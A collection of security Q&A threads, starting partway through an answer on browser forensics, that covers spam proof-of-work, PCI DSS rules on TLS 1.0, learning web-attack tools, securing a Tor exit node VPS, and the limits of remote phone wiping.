Whenever a download prompt is opened, the file to be downloaded starts automatically being saved, usually with the .crdownload extension. This downloading occurs even if the user cancels the download or does not even accept it. This is done as an optimization to improve apparent download speed. If the user does not specify a filename to save it as and begin the download, then the temporary file will be deleted as soon as the prompt is closed. You may be able to infer what sites were visited by looking in unallocated filesystem space for these remnants.
There may be reasons a user has inadvertently triggered the download prompt. Some links, when clicked, access a resource where an HTTP header causes the file to be downloaded rather than be opened inline in the browser. Additionally, a user who is used to using browser shortcuts may accidentally press ctrl+s, which opens a download prompt for the current page.
Summary
Incognito mode makes an effort to not save anything persistently to the disk. This means there will be no cookies, no local storage, no history, etc. If you do not have access to logs from the ISP or anything similar, you will not be able to determine what sites have been accessed if the target's computer where the incognito browser is running has shut down. Note that this will be even more difficult if encryption is being used, since that will also protect swap space or temporary files.
In all these cases, you should make an exact forensic copy of the storage device and keep a strong cryptographic hash of it elsewhere to ensure it could not have been tampered with. Unless you clone the disk in this way, there will be the risk that the computer will have powered up automatically (e.g. due to Wake-on-LAN), rendering obtained evidence potentially inadmissible.


Can a Javascript - WebGL proof of work system prevent website spam? Is it a good idea to come up with a Javascript-based Proof of Work system to reduce spam on forums, and other websites?

This idea would be similar to HashCash, but the computation would be based on the hash of the contents to be submitted + a seed.

Javascript's performance on computationally intensive tasks is... less than desirable. Which is why you talk of WebGL, but you are actually thinking of WebCL, an upcoming technology to give access to general computing features of GPU to Javascript code in Web browsers (à la OpenCL).

I see three main issues with such a proposal:

There is a large disparity in available computing power in client systems, especially for GPU. It will be hard to find an acceptable compromise between people with gaming PC and people with low-power tablets.
There is no WebGL, let alone WebCL, in Internet Explorer.
Proofs of work are good to deter spammers which are short on CPU. But spammers are not really short on CPU; any competent enough spammer will use a botnet with thousands of available processors.


PCI Compliance Scan Failing for supporting TLS 1.0, but removing support breaks < IE 10 My company is receiving this message causing us to fail our TrustKeeper PCI compliance scan:

Note to scan customer: This vulnerability is not recognized in the
National Vulnerability Database. TLS v1.0 violates PCI DSS and is
considered an automatic failing condition.

According to: http://en.wikipedia.org/wiki/Transport_Layer_Security

TLS 1.1 is disabled by default in IE10, and is not available at all in older versions.  We have a good sized IE audience.

Does that mean all of our users with TLS 1.1 not enabled or supported at all will no longer be able to use our website if we make this change? This seems so soon. Am I missing something? All of our traffic is served through a load balancer, would it be possible to display some sort of message for those who don't support TLS 1.1?

Short version:

TLS 1.0 is on notice as of PCI DSS 3.1
TrustWave is carping, but you may be able to continue using TLS 1.0 if it's not a "new application"

Long version:

PCI DSS 3.1 was released two weeks ago, on 14 April 2015.  It lays out that

  SSL and early TLS are not considered strong cryptography and cannot be
  used as a security control after 30th June, 2016.

In December 2015, the date for migrating existing applications was pushed back two years:

  The Payment Card Industry Security Standards Council (PCI SSC) is
  extending the migration completion date to 30 June 2018 for
  transitioning from SSL and TLS 1.0 to a secure version of TLS
  (currently v1.1 or higher).

  These dates provided by PCI SSC as of December 2015 supersede the
  original dates issued in both PCI Data Security Standard v3.1 (DSS
  3.1) and in the Migrating from SSL and early TLS  Information Supplement in April 2015.

As I understand it, "new applications" must still be implemented in line with the new requirement of 1.1+; the extension only applies to existing applications that used TLS 1.0 prior to April 2015.

The definition of what "early TLS" means is the subject of fascinated debate among QSAs, but it's safe to say 1.0 is part of it (and 1.1?  Could be!  Wait and find out!). (Update - as of December 2015, 1.1 is still "safe")

Here's how TrustWave says they're implementing these guidelines:

  New implementations must use alternatives to SSL and early TLS.
  Organizations with existing implementations of SSL and early TLS must have a risk mitigation and migration plan in place.
  Prior to June 30, 2016, Approved Scanning Vendors (ASVs) may document receipt of an organizations risk mitigation and migration
  plan as an exception in the ASV Scan Report (in accordance with the
  ASV Program Guide).
  Point of Sale (POS) or Point of Interaction (POI) devices that can be verified as not being susceptible to all known exploits of SSL and
  early TLS may continue to use these protocols as a security control
  after June 30, 2016.

So, if it's a new application, you might have to remove TLS 1.0 support.  If it's not, push back on TrustWave and find out what sort of a "risk mitigation and migration plan" they require.

(Pulling the link from @mti2935 up out of the comments, here is Trustwave's Risk Plan Template.  Thanks @mti2935!)


Software for web hacking? I want to learn sql injection, xss and other web attacks. I am new to all this, just                             a beginner. I want to know which software to use. Can I use Windows for these attacks and which software do I use? I came to know about some software like Nessus and Burp suite.

In short, you don't need SOFTWARE, you need KNOWLEDGE. Seek that first, then the tools can help.


How to run a Tor exit node securely on a vps I want to run a TOR exit node on a vps, what security measures do I have to put in place on the vps? I know it will be a huge target for hackers and the three letter word agencies in the USA so I need to tighten up every possible security hole possible.

Can I use tor ramdisk as my vps OS? Also can I run a openVPN VPN from the same vps?

This is a really borad question. In essence you have said: "I am going to install a service on my Linux VPS that will make it a target to hackers. How do I secure my Linux server?"

All of the standard security measures should be taken. Most distro's have specific guides on hardening the OS as well. Of course follow the four basic rules:

Run all services and programs with lowest privileges.
Disable or delete any services not needed on the machine.
Ensure the system is up to date.
Employ a firewall and host based IPS.

With a little more info on specific threats you are worried about, or distro and software version I may be able to be more specific.


Is Remotely wiping a cell phone really a valid defense? In this month's issue of the SANS Institutes "Securing the Human" newsletter, the topic was lost and stolen cell phones.  In the section on what to do if your cell phone is lost or stolen, it included this:

  If you installed tracking software on your mobile device, you will
  most likely have the option to wipe your data. Wiping the device will
  erase all of your personal information from the device and eliminate
  the risk of your data being accessed. If your device was stolen, you
  may want to contact law enforcement before wiping the device and
  notify them that you have enabled location tracking on the device. If
  stolen, you should not attempt to recover your device yourself.

Personally, I don't own a smart phone because I'm paranoid.  My cell makes phone calls, and that's it.  I don't browse the web, and the only secure info in it is my contacts.  Not that this is relevant to the question, but I include it to confess that I'm woefully ignorant in how tracking/wiping software works.

At any rate, if someone nefarious were to steal or find a lost or stolen smart-phone, wouldn't one of the first steps they'd take be to find and uninstall such software?  Or is it not that easy?  I'm sure it's different between the Android, iPhone, Blackberry, Windows Phones, and any others I may have missed,

But even so, I'd think a determined attacker, one who knows what he's doing would first disable such software, making such advice useless only if a clueless bad guy found or stole your mobile device.

So, basic question:  How accurate is the advice?  Is wiping a phone really a protection, or just another bit of advice that's better than nothing, but gives people a false sense of security?

There are definitely some things to keep in mind with regards to remote-wipe software, most of which you seem to have already realized.

It should not be relied upon.  It's definitely a great contingency to have available but, as you've stated, it's very probable that an (arguably unlikely) attacker who's more interested in your information than he is in the phone's hardware value would try to find a way to circumvent it quickly.
Any remote wipe you perform will likely be after the thief has already had your phone for some time.  This means it is very possible that the thief might already have copied off whatever bits of your information that they were interested in, before you performed a remote wipe.  In this case, even if your wipe is successful, the data is still out there.

In short:  If your phone is stolen, and you have remote wipe capability, you will want to perform the remote wipe as quickly as you realize the loss.  This will help to minimize (but can never fully negate) the likelihood of actual data theft occurring.  Even then, you must still presume that all the data on your phone has been leaked, and take reactive measures accordingly.

Here, I'd also like to refer you to the 10 Immutable Laws of Security, if you haven't already read them.  Particularly applicable in this case, are these:

Law #3:  "If a bad guy has unrestricted physical access to your [smartphone], it's not your [smartphone] anymore"
Law #10:  "Technology is not a panacaea."

To answer your title question:  It is indeed a valid defensive measure, but it should not on its own be at all considered comprehensive.